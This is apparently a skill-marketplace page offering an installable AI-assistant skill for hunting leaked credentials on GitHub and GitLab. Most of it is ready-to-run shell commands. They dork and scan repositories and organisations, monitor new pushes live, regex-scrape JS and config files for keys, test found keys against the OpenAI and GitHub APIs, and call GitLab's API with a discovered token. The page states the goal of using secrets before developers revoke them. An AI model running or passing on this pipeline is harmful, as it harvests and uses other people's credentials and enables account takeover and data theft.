用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill github-secret-hunting命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | github-secret-hunting |
| description | Find leaked API keys, tokens, and credentials in public GitHub repositories. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, httpx, python3 |
| tags | ["recon","github","secret","API-key","token","dork","OSINT","trufflehog","credential"] |
| category | recon |
| related_skills | ["js-secrets-extraction","hardcoded-credential-hunt","source-leak-hunt"] |
Scan public GitHub repositories for leaked API keys, tokens, passwords, and internal infrastructure details. Developers accidentally push secrets constantly — this skill uses targeted dorking, automated scanning tools, and real-time monitoring to find credentials before the developer notices and revokes them.
terminal with python3, curl, git.public_repo scope needed).# Basic GitHub code search for sensitive patterns in target repos
echo "target.com" | while read domain; do
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/search/code?q=$domain+filename:.env" \
| jq '.items[]?.html_url'
done
# Clone the dork collection and run against target
git clone https://github.com/Proviesec/github-dorks
python3 GitDorker.py \
-tf $GITHUB_TOKEN \
-q target.com \
-d dorks/medium_dorks.txt \
-o gitdorker_target.txt
# Also search by employee emails found in LinkedIn or metadata
python3 GitDorker.py \
-tf $GITHUB_TOKEN \
-q "john.doe@target.com" \
-d dorks/medium_dorks.txt
# Custom dork: find env files
python3 GitDorker.py -tf $GITHUB_TOKEN \
-q -d dorks/medium_dorks.txt
# Scan a specific repo (finds secrets even in deleted commits)
trufflehog git https://github.com/target/repo --results=verified
# Scan entire GitHub org
trufflehog github --org=target --token=$GITHUB_TOKEN \
--only-verified --threads=20 --json > trufflehog_org.json
# Docker variant
docker run --rm -it trufflesecurity/trufflehog:latest \
github --only-verified --org=target
# Parse verified secrets
cat trufflehog_org.json | jq -r 'select(.Verified == true) | "\(.DetectorName): \(.RawV2)"'
# Monitor globally for secrets being pushed right now
shhgit --search-query \
'path:*.env OR "DB_PASSWORD=" OR "AWS_ACCESS_KEY_ID=" OR "-----BEGIN RSA PRIVATE KEY-----"'
# Monitor specific org
shhgit --search-query \
'target.com (path:*.env OR "DB_PASSWORD=" OR "api_key=")'
# git-wild-hunt: find specific file types
python3 git-wild-hunt.py \
-s "org:Target extension:json filename:creds language:JSON"
python3 git-wild-hunt.py \
-s "org:Target extension:sql filename:backup"
python3 git-wild-hunt.py \
-s "target.com gitlab_token"
# Manual search patterns via GitHub API
for pattern in "filename:.env DB_PASSWORD" "filename:credentials.json" \
"filename:config.json api_key" "filename:id_rsa" \
"filename:.npmrc" "extension:pem BEGIN RSA" \
"filename:service-account.json"; do
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/search/code?q=target.com+$pattern" \
| jq '.total_count, (.items[:3][].html_url)'
done
# Pipeline: find → extract → verify
echo "target.com" | gau | grep -E '\.js$|\.json$|\.env$|\.config$' \
| httpx -silent -mc 200 \
| parallel -j 10 "curl --max-time 30 --connect-timeout 10 -s {} | grep -Eo \
'(?:api[_-]?key|secret|token)[\"'\''']?\s*[:=]\s*[\"'\''']?([A-Za-z0-9_\-]{20,})' \
| tee -a api_keys.txt"
# Verify found keys
for key in $(cat api_keys.txt | awk -F':' '{print $2}' | tr -d '"'\'' ' | sort -u); do
# OpenAI
curl --max-time 30 --connect-timeout 10 -s "https://api.openai.com/v1/models" -H "Authorization: Bearer $key" | jq '.data[].id' 2>/dev/null && echo "VALID OPENAI: $key"
# GitHub
curl --max-time 30 --connect-timeout 10 -s "https://api.github.com/user" -H "Authorization: token $key" | jq '.login' 2>/dev/null && echo "VALID GITHUB: $key"
done
# Discover self-hosted GitLab
# Check: gitlab.target.com, git.target.com, code.target.com
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.target.com/api/v4/projects?visibility=public"
# With a found token
curl --max-time 30 --connect-timeout 10 --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/user"
curl --max-time 30 --connect-timeout 10 --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \
"https://gitlab.target.com/api/v4/projects?membership=true&simple=true"
# Deep scan for secrets across accessible repos
gitleaks detect \
--source https://gitlab.target.com \
--access-token $GITLAB_TOKEN -v
# metafinder: downloads public documents and extracts metadata
# Reveals usernames, software versions, internal file paths, email patterns
metafinder -d "target.com" -l 10 -go -bi -ba -o metadata_target.txt
metafinder -d "dev.target.com" -l 10 -go -bi -ba -o metadata_dev.txt
# Manual: check PDF metadata
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/document.pdf" -o doc.pdf
exiftool doc.pdf | grep -i "author\|creator\|producer"
.env, .config, .npmrc, and CI/CD workflow files.GET /user for GitHub tokens).js-secrets-extraction — Find API keys and endpoints in JavaScript bundles that may lead to GitHub repos.hardcoded-credential-hunt — Detect hardcoded passwords in HTML, JS, and API responses.source-leak-hunt — Find exposed config files (.env, .git) on live web servers.